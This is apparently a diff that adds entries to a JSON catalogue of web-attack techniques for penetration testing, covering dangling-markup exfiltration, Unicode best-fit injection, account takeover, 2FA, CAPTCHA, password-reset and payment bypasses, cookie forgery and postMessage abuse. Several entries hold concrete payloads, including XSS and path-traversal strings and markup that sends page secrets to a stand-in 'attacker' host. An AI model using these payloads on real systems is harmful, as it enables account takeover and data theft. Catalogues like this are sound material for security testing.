+ "Misconfigured tags: `json:\"-,omitempty\"` leaves `IsAdmin` settable via `{\"-\":true}`; libyaml double-free (CVE-2024-35325) for DoS"
792
+ ],
793
+ "verify": "Positive marker: send `{\"role\":\"user\",\"role\":\"admin\"}` and confirm the backend acts with admin privileges (duplicate accepted, last wins). Negative control: send `{\"role\":\"admin\"}` alone (single key) — if the same privilege results, the app doesn't actually distinguish; a real differential shows user-level behavior for the single key and admin behavior only with the crafted duplicate."
794
+ },
795
+ {
796
+ "id": "unicode_injection",
797
+ "name": "Unicode Normalization / Best-Fit Injection",
798
+ "summary": "Bypassing input filters by using Unicode lookalike characters that are normalized, case-folded, or converted to ASCII metacharacters after validation. Notably, SQL Server Best-Fit and Windows code-page conversions silently turn fullwidth/Unicode glyphs into `<`, `>`, `'`, `/`, `\\`, `.` enabling stored XSS, SQLi, and path traversal.",
799
+ "objectives": [
800
+ "Bypass filters via characters that normalize to dangerous ASCII post-validation",
801
+ "Exploit SQL Server Best-Fit conversion to smuggle XSS/SQLi/path-traversal payloads",
802
+ "Leverage multi-step encoding conversions (Windows-1252 -> UTF-8 -> ASCII) to form payloads"
803
+ ],
804
+ "how_to_test": [
805
+ "Submit fullwidth/compatibility lookalikes for `< > ' \" / \\ . - ?` and observe post-storage normalization",
806
+ "Check DB columns for `varchar`/`char`/`text` with non-UTF collations (CP1252) doing implicit `nvarchar -> varchar` conversion",
807
+ "Test `<` (U+FF1C) into a narrow column and read back whether it became `<`",
808
+ "Probe case-insensitive collations: `SELECT IIF('abc'='ABC',1,0)` to detect `*_CI_*` logic bugs",
809
+ "Try `\\u`-to-`%` transforms (e.g. `\\u3c4b` -> `%3c4b` -> `<4b`) and emoji/multi-encoding XSS payloads"
810
+ ],
811
+ "techniques": [
812
+ "Best-Fit stored XSS: insert `N'〈script〉alert(ʹxʹ)〈/script〉'` into VARCHAR, read back `<script>alert('x')</script>`",
813
+ "Path traversal after storage: `N'..∖..∖..∖Windows∖win.ini'` -> `..\\..\\..\\Windows\\win.ini`",
814
+ "`?` reconstruction: `N'<ʭphp'` -> `<?php` when no Best-Fit mapping exists",
815
+ "Emoji double-conversion XSS: `<img src=x onerror=...` passed through Windows-1252->UTF-8->ASCII//TRANSLIT yields `<img ...>`",
816
+ "`\\u`-prefix mutation: `\\u3c4b` (U+3C4B) transformed to `%3c4b` -> URL-decoded `<4b`"
817
+ ],
818
+ "verify": "Positive marker: store `N'<'` in a VARCHAR column and confirm the read-back value is the ASCII `<` (or that a fullwidth payload renders as executable HTML). Negative control: insert the same value into an NVARCHAR column (or with `N'...'` preserved) and confirm it remains `<` unchanged — proving the mutation is caused by the narrow-column conversion rather than the input itself."
819
+ },
820
+ {
821
+ "id": "dangling_markup_injection",
822
+ "name": "Dangling Markup / Scriptless HTML Injection",
823
+ "summary": "Exfiltration of data from a page using injected HTML that is left 'dangling' (unclosed attribute/quote) so the browser appends subsequent page content — including secrets — into a URL sent to the attacker. Used when HTML injection exists but JavaScript/XSS is blocked (often by CSP), and to disrupt form/script workflows.",
824
+ "objectives": [
825
+ "Exfiltrate clear-text secrets appearing later in the page via dangling attributes",
826
+ "Steal form submissions by hijacking action/base/formaction targets",
827
+ "Disrupt legitimate script/namespace flows to alter application behavior"
828
+ ],
829
+ "how_to_test": [
830
+ "Find an HTML-injection point and inject `<img src='http://attacker/log?` (test single and double quotes)",
831
+ "Confirm the browser appends the following HTML until the next matching quote into the request URL",
832
+ "Try `<base href=\"http://attacker/\">` and observe form targets change to the attacker domain",
833
+ "Test `<meta http-equiv=\"refresh\" content=\"0;url=http://attacker/?text=` and CSS `@import//attacker?`",
834
+ "Explore scriptless workflow disruption: namespace/`getElementById` overwrites, JSONP call injection, iframe/name leaks"
835
+ ],
836
+ "techniques": [
837
+ "Secret theft: `<img src='http://attacker/log.php?HTML=` or `<meta http-equiv=\"refresh\" content='0;URL=ftp://attacker/?a=` (ftp bypasses Chrome's `<`/`\\n` block)",
838
+ "Form theft: `<base href=\"http://attacker/\">` or `<form action='http://attacker/log_steal'>` or `<button formaction=\"https://attacker\">`",
839
+ "CSS exfil: `<style>@import//attacker?` then `<b>steal me!</b>;` sends content until `;`",
840
+ "noscript exfil: `<noscript><form action=http://attacker><textarea name=contents>` full-page steal with JS off",
841
+ "Namespace attack: inject `<input type=\"hidden\" id=\"share_with\" value=\"attacker\">` before the real one; iframe `name` leak for CSP-bypass via `window.name`"
842
+ ],
843
+ "verify": "Positive marker: inject `<img src='http://attacker/canary?` immediately before a known secret and confirm the attacker receives a request whose query string contains that secret. Negative control: inject a self-closing tag `<img src='http://attacker/canary?x'>` (attribute closed immediately) — the request should contain only `x` and NOT the following content, proving the capture is caused by the dangling quote rather than a full page send."
844
+ },
845
+ {
846
+ "id": "account_takeover",
847
+ "name": "Account Takeover",
848
+ "summary": "Playbook of techniques to hijack a user's account by abusing weak identity flows: skippable email confirmation, Unicode normalization collisions, reusable magic links, predictable SSO tickets, and pre-account registration races.",
849
+ "objectives": [
850
+ "Map every path that can move account ownership (email change, reset, SSO, QR/cross-device login).",
851
+ "Find confirmation/normalization gaps that let an attacker's identifier alias a victim's mailbox.",
852
+ "Weaponize the weakest flow into full unauthorized access."
853
+ ],
854
+ "how_to_test": [
855
+ "Attempt to change the account email and probe whether the confirmation step can be skipped or self-confirmed.",
856
+ "Register a Unicode confusable of the victim email (e.g. vićtim@gmail.com) and check whether normalization maps it onto the victim account.",
857
+ "Request a magic link/reset for the victim and test open-redirect parameters (redirect_url, next, return_to) and whether the token lands in a browser-readable place.",
858
+ "Reuse an already-consumed reset/magic link from a second browser/device, and check the flow after an email change.",
859
+ "Replay candidate predictable SSO bearer tickets with a mismatched app tag and confirm via protected-request 200 vs login 302."
860
+ ],
861
+ "techniques": [
862
+ "Unicode/email normalization collisions (confusables in local-part or domain) to alias the victim mailbox.",
863
+ "Pre-account takeover: sign up with the victim's email, set a password, and hope the victim later confirms via OAuth.",
864
+ "Security-question reset that trusts a client-supplied username to overwrite another user's recovery answers (IDOR).",
865
+ "Trusted-device cookie exfiltration via batch-API JSON-path references, then replaying the device cookie.",
866
+ "Change-email/session swap: send the email-change confirmation link to the victim so their authenticated session confirms the attacker's address."
867
+ ],
868
+ "verify": "Set a unique collaborator marker as the target email (victim+<marker>@...) and a negative-control address that should not alias it; confirm takeover only when the marker address maps into the victim's account while the control stays separate."
869
+ },
870
+ {
871
+ "id": "two_fa_bypass",
872
+ "name": "2FA / MFA / OTP Bypass",
873
+ "summary": "Catalog of ways to defeat two-factor/OTP authentication by exploiting missing server-side enforcement, token reuse, weak generation, race conditions, and alternate or legacy authentication paths.",
874
+ "objectives": [
875
+ "Determine whether MFA completion is actually enforced server-side rather than only in the UI.",
876
+ "Find tokens or flows that skip, reuse, or leak the second factor.",
877
+ "Brute-force or transplant OTPs when generation or binding is weak."
878
+ ],
879
+ "how_to_test": [
880
+ "Access post-login endpoints directly (and via a correctly spelled Referer) to check whether MFA can be skipped.",
881
+ "Reuse a previously consumed OTP, or use your own unused OTP on another test account to check account/session binding.",
882
+ "Trigger a password reset and verify whether logging in with new credentials afterward bypasses 2FA.",
883
+ "Race the same OTP concurrently across two sessions to test single-use atomicity.",
884
+ "Check older API versions (/v1/) or subdomains for endpoints that lack the current MFA requirement."
885
+ ],
886
+ "techniques": [
887
+ "Direct endpoint/Referer access and OTP token reuse.",
888
+ "Session manipulation: complete MFA in one session and transplant the state into another.",
889
+ "Brute-force with rate-limit resets (code resend, client-side-only throttling, session rotation).",
890
+ "Predictable 'remember me' cookie values or IP impersonation via X-Forwarded-For.",
891
+ "OTP construction errors derived from predictable or client-supplied data."
892
+ ],
893
+ "verify": "Enroll a test account with a known OTP and add a unique marker to the OTP response; confirm the bypass only when the marker request succeeds while a negative-control request using an already-consumed/wrong token is still rejected."
894
+ },
895
+ {
896
+ "id": "rate_limit_bypass",
897
+ "name": "Rate Limit Bypass",
898
+ "summary": "Techniques to bypass per-request or per-IP throttling by keying the limiter on client-controlled values, exploiting transport quirks (HTTP/2, GraphQL, WebSocket), or routing through alternate endpoints.",
899
+ "objectives": [
900
+ "Identify which signal (IP, path, session, header) the limiter actually keys on.",
901
+ "Prove the protected operation can be repeated beyond the intended quota.",
902
+ "Distribute or confuse the limiter without triggering account lockout."
903
+ ],
904
+ "how_to_test": [
905
+ "Vary endpoint casing/paths (/Sign-up vs /api/v1/sign-up) and parameters to find distinct quotas.",
906
+ "Append blank/control characters (%00, %0a, %09, %20) to parameters and observe whether the limiter key changes.",
907
+ "Rotate spoofable IP headers (X-Forwarded-For, X-Originating-IP, X-Client-IP) and test whether the source IP is trusted from an untrusted client.",
908
+ "Reuse one HTTP/2 connection (h2load) or GraphQL aliases to pack many attempts into few requests.",
909
+ "Log in / rotate sessions between attempts to detect per-session counters."
910
+ ],
911
+ "techniques": [
912
+ "Endpoint/path canonicalization and parameter/blank-character variation.",
913
+ "IP spoofing via forwarded headers and proxy/PoP rotation.",
914
+ "HTTP/2 multiplexing, WebSocket/gRPC streaming, and GraphQL alias batching.",
915
+ "Fixed-window/sliding-window boundary bursting.",
916
+ "Rotating account/session/User-Agent to reset quotas."
917
+ ],
918
+ "verify": "Send a unique marker in a burst exceeding the documented quota on the protected path, plus a negative control against a known-limited path; confirm the marker requests all reach the application (server-side) while the control is throttled."
919
+ },
920
+ {
921
+ "id": "password_reset_bypass",
922
+ "name": "Password Reset Bypass",
923
+ "summary": "Techniques to break the password-reset flow through token leakage, Host-header poisoning, email-parameter smuggling, weak token generation, and missing state checks, allowing an account to be reset without owning its mailbox.",
924
+ "objectives": [
925
+ "Capture or predict the reset token without access to the victim's mailbox.",
926
+ "Redirect reset links or tokens to attacker-controlled infrastructure.",
927
+ "Reset arbitrary accounts via weak token binding or missing flow-state checks."
928
+ ],
929
+ "how_to_test": [
930
+ "Request a reset, click the link, then browse to a third-party site and inspect the Referer header for the token.",
931
+ "Poison Host / X-Forwarded-Host / baseurl / redirect parameters and check whether the emailed link points to the attacker host.",
932
+ "Inject a second email parameter (duplicate, JSON array, cc/bcc via %0a%0d, commas/pipes) to copy the reset mail to the attacker.",
933
+ "Request several reset links in parallel and compare tokens for predictability, reuse, or non-expiry.",
934
+ "Reuse an expired token, submit null/empty tokens, and test cross-account use (your valid token plus the victim's email/userId)."
935
+ ],
936
+ "techniques": [
937
+ "Referer token leak and Host-header reset poisoning.",
938
+ "Email parameter pollution / multi-recipient smuggling (cc, bcc, arrays, separators).",
939
+ "Weak token generation (timestamp, userid, sequential) and UUIDv1 sandwich brute-force.",
940
+ "Missing 'token was generated' check (null/empty token accepted).",
941
+ "Registration-as-reset upsert and skipOldPwdCheck pre-auth password change."
942
+ ],
943
+ "verify": "Use a unique collaborator value as the reset token and a negative-control token that is wrong/expired; confirm the reset succeeds only with the marker token and is rejected with the control."
944
+ },
945
+ {
946
+ "id": "captcha_bypass",
947
+ "name": "CAPTCHA Bypass",
948
+ "summary": "Methods to defeat CAPTCHA controls by testing whether the server actually binds the solution to the action, reusing solved values, or automating recognition and identity rotation.",
949
+ "objectives": [
950
+ "Establish whether the server actually validates and binds the CAPTCHA to the action/session.",
951
+ "Reuse or extract previously solved CAPTCHA values.",
952
+ "Automate solving or rotate identity to sidestep the control."
953
+ ],
954
+ "how_to_test": [
955
+ "Omit the captcha parameter, send it empty, or switch POST/GET and data format to see if validation is skipped.",
956
+ "Search page source and cookies for the CAPTCHA answer, and replay old solved values across sessions.",
957
+ "Hash/compare challenge images to check whether the image pool is small (MD5-dedupe).",
958
+ "Run OCR (Tesseract) on character challenges or speech-to-text on audio fallbacks.",
959
+ "Rotate session/IP/User-Agent to test whether limits are bound only to those signals."
960
+ ],
961
+ "techniques": [
962
+ "Parameter omission/empty/method-format manipulation.",
963
+ "Value reuse across sessions and extraction from source/cookies.",
964
+ "OCR/audio recognition and third-party solver APIs.",
965
+ "Session/IP/header rotation and rate-limit reset."
966
+ ],
967
+ "verify": "Submit a request carrying a unique marker in an unrelated field while omitting the CAPTCHA answer, plus a negative control with a wrong CAPTCHA value; confirm the marker request succeeds (bypass) while the wrong-value control is rejected."
968
+ },
969
+ {
970
+ "id": "registration_vulnerabilities",
971
+ "name": "Registration & Takeover Vulnerabilities",
972
+ "summary": "Attack surface of the sign-up flow: duplicate/alias registration, username enumeration, weak OTP verification, and pre-hijacking techniques staged before the victim creates their account.",
973
+ "objectives": [
974
+ "Create accounts that alias or collide with a victim's identity.",
975
+ "Enumerate valid identifiers and bypass weak email/phone verification.",
976
+ "Stage pre-hijack state (linked identifiers, live sessions) that fires after the victim registers."
977
+ ],
978
+ "how_to_test": [
979
+ "Register with an existing username and email variants (case, dots, +tag, %00/%20, Unicode confusables) to defeat uniqueness checks.",
980
+ "Submit duplicate/array/mixed OTP parameters (code=000000&code=123456, JSON arrays) to test multi-value verification.",
981
+ "Brute-force short OTPs with ffuf/Turbo Intruder while rotating headers and IP.",
982
+ "Race a single OTP across two sessions to produce two verified accounts.",
983
+ "Stage a pre-hijack (register the victim email, link an attacker IdP/phone, keep a live session) then have the victim sign up."
984
+ ],
985
+ "techniques": [
986
+ "Duplicate/alias registration via email canonicalization tricks (dots, subaddressing, homoglyphs).",
987
+ "Username/account enumeration oracles (timing, status codes, contact-sync presence).",
988
+ "Multi-value OTP smuggling and weak-OTP brute-force.",
989
+ "Pre-hijacking variants (classic-federated merge, trojan identifier, unexpired session, pending email change).",
990
+ "Upsert-based registration-as-reset overwriting an existing account's password."
991
+ ],
992
+ "verify": "Register with a unique marker in the email local-part and a negative-control address; confirm the alias/collision maps the marker account onto the victim identity while the control stays separate."
993
+ },
994
+ {
995
+ "id": "payment_bypass",
996
+ "name": "Payment Process Bypass",
997
+ "summary": "Business-logic techniques to manipulate the payment flow by tampering with client-controlled values or abusing stale pricing/checkout state so an order is fulfilled for less (or nothing).",
998
+ "objectives": [
999
+ "Map the full transaction state machine (cart → checkout → provider → webhook → fulfillment).",
1000
+ "Determine which amount/status fields are trusted from the client versus the server.",
1001
+ "Force the server to compute an attacker-favorable total or mark an order paid."
1002
+ ],
1003
+ "how_to_test": [
1004
+ "Intercept and alter Success/Referrer/Callback plus amount/currency/quantity/product/discount/shipping fields.",
1005
+ "Create valid pricing state (quote/discount), mutate the cart, and re-checkout without editing any explicit price field.",
1006
+ "Copy the payment URL and open it in a second profile to test whether possession alone authorizes access.",
1007
+ "Remove parameters to probe default/fallback behavior, and tamper cookies that hold payment state.",
1008
+ "Replay, reorder, duplicate, and omit callbacks/webhooks to test idempotency and state transitions."
1009
+ ],
1010
+ "techniques": [
1011
+ "Client parameter tampering (amount, currency, quantity, status flags).",
1012
+ "Stale pricing/checkout state-machine abuse.",
1013
+ "Cookie/URL/session token tampering and response manipulation.",
1014
+ "Webhook/callback replay, reorder, and omission."
1015
+ ],
1016
+ "verify": "Place an order with a unique marker in a non-price field, mutate only the price/status to an attacker-favorable value, plus a negative-control order with the price unchanged; confirm the marker order fulfills at the reduced total while the control is billed correctly."
1017
+ },
1018
+ {
1019
+ "id": "timing_attacks",
1020
+ "name": "Web Timing Attacks",
1021
+ "summary": "Technique for discovering hidden functionality and server-side injection/proxy oracles by measuring consistent response-time differences between nearly identical requests, made practical with request synchronization.",
1022
+ "objectives": [
1023
+ "Remove transport noise to isolate tiny server-side timing deltas.",
1024
+ "Discover hidden parameters, headers, and routes via timing oracles.",
1025
+ "Detect blind injection or reverse-proxy/SSRF behavior when output is redacted."
1026
+ ],
1027
+ "how_to_test": [
1028
+ "Build two requests differing in exactly one hypothesis and send them over the same connection at the same release point.",
1029
+ "Alternate request order and repeat to compare paired/median deltas rather than single measurements.",
1030
+ "Tune one branch to force extra work (DNS lookup, cache miss, parsing, logging, backend fetch).",
1031
+ "Use Param Miner / Turbo Intruder timing templates for hidden-parameter discovery.",
1032
+ "Compare allowed vs disallowed hostnames to reveal scoped SSRF/open-proxy behavior."
1033
+ ],
1034
+ "techniques": [
1035
+ "Single-packet / last-byte synchronization to strip transport jitter.",
1036
+ "Paired-request deltas with order alternation and median comparison.",
1037
+ "Hidden attack-surface discovery (~5ms deltas from hidden inputs).",
1038
+ "Blind JSON/parameter-pollution oracles and reverse-proxy misconfiguration detection."
1039
+ ],
1040
+ "verify": "Send a probe with a unique marker header that triggers a known slow path, plus a negative-control probe identical but without the trigger; confirm a consistent time delta only for the marker request across many repetitions."
1041
+ },
1042
+ {
1043
+ "id": "uuid_insecurities",
1044
+ "name": "UUID Insecurities",
1045
+ "summary": "Exploiting predictable UUID versions (especially v1 time-based) to enumerate identifiers that are misused as security tokens in reset or session flows.",
1046
+ "objectives": [
1047
+ "Identify the UUID version/variant and whether it is time- or MAC-based.",
1048
+ "Capture two UUIDs bracketing a victim's token to narrow the search space.",
1049
+ "Brute-force the victim's UUID when no rate limit or lockout blocks it."
1050
+ ],
1051
+ "how_to_test": [
1052
+ "Inspect the token's version digit (M position) to detect v1/v4.",
1053
+ "Trigger resets for two controlled accounts around the victim's reset and record their UUIDs.",
1054
+ "Generate candidates between the bracketing UUIDs and probe the reset endpoint.",
1055
+ "Use Burp UUID Detector to flag UUIDs and the 'sandwich' tool to generate candidates.",
1056
+ "Confirm the application lacks rate limiting/lockout on the UUID-checking endpoint."
1057
+ ],
1058
+ "techniques": [
1059
+ "UUID version/variant fingerprinting (M and N bit positions).",
1060
+ "Sandwich attack: bracket the victim UUID between two attacker-controlled values.",
1061
+ "Time/MAC-based candidate generation and brute-force."
1062
+ ],
1063
+ "verify": "Use a marker value as the victim's reset UUID and a negative-control UUID far outside the timestamp range; confirm the marker UUID is accepted (candidate generation hits it) while the control is rejected."
1064
+ },
1065
+ {
1066
+ "id": "reverse_tab_nabbing",
1067
+ "name": "Reverse Tab Nabbing",
1068
+ "summary": "Abusing a target=\"_blank\"/opener relationship so an attacker-controlled page can navigate the original tab to a phishing clone and steal credentials from an imitation login form.",
1069
+ "objectives": [
1070
+ "Find links/windows that expose window.opener to an attacker-controlled origin.",
1071
+ "Navigate the opener tab to an attacker clone of the original page.",
1072
+ "Imitate a login form to harvest the victim's credentials."
1073
+ ],
1074
+ "how_to_test": [
1075
+ "Identify links using target=\"_blank\" (or window.open) without rel=\"noopener\" and with attacker-controllable href.",
1076
+ "Open the link and check whether window.opener is non-null from the new page.",
1077
+ "Set window.opener.location to an attacker clone and observe the original tab navigate.",
1078
+ "Verify the clone renders a convincing copy of the victim's login page.",
1079
+ "Confirm modern-browser implicit noopener versus explicit rel=\"opener\"/webview behavior."
1080
+ ],
1081
+ "techniques": [
1082
+ "window.opener.location navigation to a phishing clone.",
1083
+ "Explicit rel=\"opener\" or window.open() to force the opener reference.",
1084
+ "Limited cross-origin WindowProxy property abuse (closed, frames, length, opener, parent, self, top)."
1085
+ ],
1086
+ "verify": "Set a unique marker in the opener's URL via window.opener.location and a negative-control page using rel=\"noopener\"; confirm the marker navigation occurs only when the opener reference exists."
1087
+ },
1088
+ {
1089
+ "id": "iframe_traps",
1090
+ "name": "Iframe Traps",
1091
+ "summary": "Persisting a same-origin XSS by trapping the victim's continued navigation inside a full-page iframe while the attacker page stays alive on top and keeps collecting data.",
1092
+ "objectives": [
1093
+ "Keep attacker-controlled code alive across the victim's in-application navigation.",
1094
+ "Observe keystrokes, form data, and traffic from the framed application.",
1095
+ "Conceal the trap by mirroring the URL and hiding browser chrome."
1096
+ ],
1097
+ "how_to_test": [
1098
+ "Land on an XSS-vulnerable same-origin page and inject a full-viewport iframe of the application.",
1099
+ "Use history.replaceState to mirror the iframe's path into the address bar.",
1100
+ "Hook fetch/XHR/pushState/replaceState/input events inside the framed app to exfiltrate data.",
1101
+ "Verify the trap persists across link clicks and form submissions.",
1102
+ "Test fullscreen concealment and whether the user can escape via tab close or URL change."
1103
+ ],
1104
+ "techniques": [
1105
+ "Full-viewport iframe with URL mirroring via history.replaceState.",
1106
+ "Hooking fetch, XHR, pushState/replaceState, and input/submit events.",
1107
+ "Overlay/skimmer usage on checkout and payment pages.",
1108
+ "POST-only reflected XSS upgraded via CSRF/auto-submit into the trap."
1109
+ ],
1110
+ "verify": "Inject a unique marker in the top page and a negative-control page without the trap; confirm the marker page keeps logging the victim's framed navigation while the control does not."
1111
+ },
1112
+ {
1113
+ "id": "web_vulnerabilities_methodology",
1114
+ "name": "Web Vulnerabilities Methodology",
1115
+ "summary": "A checklist mapping the major web vulnerability classes and application components (proxies, user input, headers, files, frameworks, CMS) so nothing obvious is missed during a pentest.",
1116
+ "objectives": [
1117
+ "Systematically cover every attack-surface class (input, headers, files, frameworks).",
1118
+ "Prioritize high-value forgotten components (installers, JS bundles, service workers).",
1119
+ "Cross-reference findings to escalate individual bugs."
1120
+ ],
1121
+ "how_to_test": [
1122
+ "Walk the checklist top-to-bottom: proxies, reflected/search input, forms/WebSockets/postMessage, headers, files, identity.",
1123
+ "Download front-end bundles and *.map files and grep for leaked routes, GraphQL hashes, and Server Actions.",
1124
+ "Fuzz for installer/setup/recovery paths and readable config files.",
1125
+ "Test structured inputs (deserialization, XXE, JWT, email header injection) where those formats are used.",
1126
+ "Review framework/CMS-specific defaults and dangerous endpoints."
1127
+ ],
1128
+ "techniques": [
1129
+ "Category-based attack-surface enumeration (proxies, input, files, identity, frameworks).",
1130
+ "Bundle/source-map mining for hidden routes and persisted queries.",
1131
+ "Installer/reinitialization and session-persistence abuse.",
1132
+ "Service worker / WASM / File System Access API pivots."
1133
+ ],
1134
+ "verify": "Run the checklist against a test app seeded with a unique marker in one forgotten surface (e.g. an installer path); confirm the marker surface is identified while a negative-control surface outside the checklist stays unflagged."
1135
+ },
1136
+ {
1137
+ "id": "cookie_hacking",
1138
+ "name": "Cookie Hacking",
1139
+ "summary": "Attacks on cookie attributes, flags, and parsing — including HttpOnly bypasses, __Host-/__Secure- prefix forgery, cookie smuggling, and cryptographic forgery of cookie values.",
1140
+ "objectives": [
1141
+ "Understand cookie attributes (Domain/Path/SameSite) and flags (HttpOnly/Secure) and their bypasses.",
1142
+ "Forge or smuggle cookies to override trusted values or bypass CSRF/WAF.",
1143
+ "Break weak cookie encryption (static keys, padding oracle, ECB/CBC-MAC)."
1144
+ ],
1145
+ "how_to_test": [
1146
+ "Decode cookies (base64/hex) and test modification to impersonate other users.",
1147
+ "Test HttpOnly bypass via response-body reflection (phpinfo), TRACE, cookie jar overflow, or the cookie sandwich.",
1148
+ "Prepend Unicode whitespace (U+2000) or \"$Version=1\" to forge __Host-/__Secure- prefixed cookies.",
1149
+ "Probe empty/malformed cookie parsing (quoted values, comma/space delimiters) for injection.",
1150
+ "Forge cookies by encrypting a predictable user ID with a static key, or run padbuster for padding-oracle decryption."
1151
+ ],
1152
+ "techniques": [
1153
+ "HttpOnly bypass (phpinfo reflection, TRACE/cross-site tracking, cookie sandwich).",
1154
+ "__Host-/__Secure- prefix forgery via Unicode whitespace and legacy $Version=1 splitting.",
1155
+ "Empty-cookie and cookie-smuggling parsing abuse.",
1156
+ "Padding oracle (padbuster), ECB/CBC-MAC, and static/public-key cookie forgery."
1157
+ ],
1158
+ "verify": "Set a forged __Host- cookie with a unique marker value from a subdomain, plus a negative-control normal cookie name; confirm the backend accepts the marker value as the protected cookie while the control is ignored."
1159
+ },
1160
+ {
1161
+ "id": "postmessage_vulnerabilities",
1162
+ "name": "PostMessage Vulnerabilities",
1163
+ "summary": "Exploiting cross-window postMessage flows through missing or bypassable origin checks, wildcard targetOrigin, and DOM sinks to achieve XSS, data theft, or account takeover.",
1164
+ "objectives": [
1165
+ "Enumerate postMessage listeners and their origin/validation logic.",
1166
+ "Bypass weak origin checks (indexOf/search/match, null origin, e.source).",
1167
+ "Trigger sinks (innerHTML, location, prototype pollution, script loading) via forged messages."
1168
+ ],
1169
+ "how_to_test": [
1170
+ "Search JS for addEventListener('message')/$(window).on and enumerate with getEventListeners(window).",
1171
+ "Frame the page and send messages with wildcard targetOrigin; navigate the iframe to an attacker origin to receive sensitive messages.",
1172
+ "Test indexOf()/search()/match() origin checks with confusable or overlapping domains.",
1173
+ "Use sandboxed iframes (allow-popups) so e.origin == window.origin == null, bypassing equality checks.",
1174
+ "Find relay pages on trusted origins that echo query params via postMessage and stitch them to privileged listeners."
1175
+ ],
1176
+ "techniques": [
1177
+ "Wildcard targetOrigin + iframe navigation to steal messages.",
1178
+ "Origin-check bypass (indexOf, search, match, isTrusted, escapeHtml, null origin).",
1179
+ "javascript: URL substring-scheme bypass into location.href sinks.",
1180
+ "Prototype pollution/XSS via postMessage and Math.random() callback-token prediction."
1181
+ ],
1182
+ "verify": "Send a forged message with a unique marker payload to a listener plus a negative-control message from a disallowed origin; confirm the marker message triggers the sink while the control is dropped."
228
1183
  }
229
1184
  ]
230
- }
1185
+ }